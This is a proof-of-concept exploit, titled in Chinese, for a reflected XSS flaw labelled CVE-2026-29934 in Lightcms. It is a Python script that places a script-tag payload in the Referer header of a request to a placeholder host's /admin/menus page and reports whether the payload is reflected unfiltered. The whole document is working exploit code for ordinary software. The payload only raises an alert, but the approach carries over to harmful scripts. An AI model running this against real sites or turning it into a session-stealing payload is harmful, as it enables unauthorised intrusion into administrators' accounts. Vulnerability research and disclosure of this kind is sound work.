CVE-2026-29934 Lightcms反射型XSS漏洞

import requests # Target URL containing the vulnerable component target_url = "http://target-host.com/admin/menus" # Malicious JavaScript payload to be injected via the Referer header xss_payload = "<script>alert('CVE-2026-29934_XSS');</script>" # Prepare headers with the injected payload headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) PoC-Scanner", "Referer": xss_payload } try: # Send the GET request to the vulnerable endpoint response = requests.get(target_url, headers=headers, timeout=10) # Check if the payload is reflected unfiltered in the response body if xss_payload in response.text: print("[+] Vulnerability Confirmed: The payload was reflected in the response.") else: print("[-] Vulnerability Not Detected: Payload not found or encoded.") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}")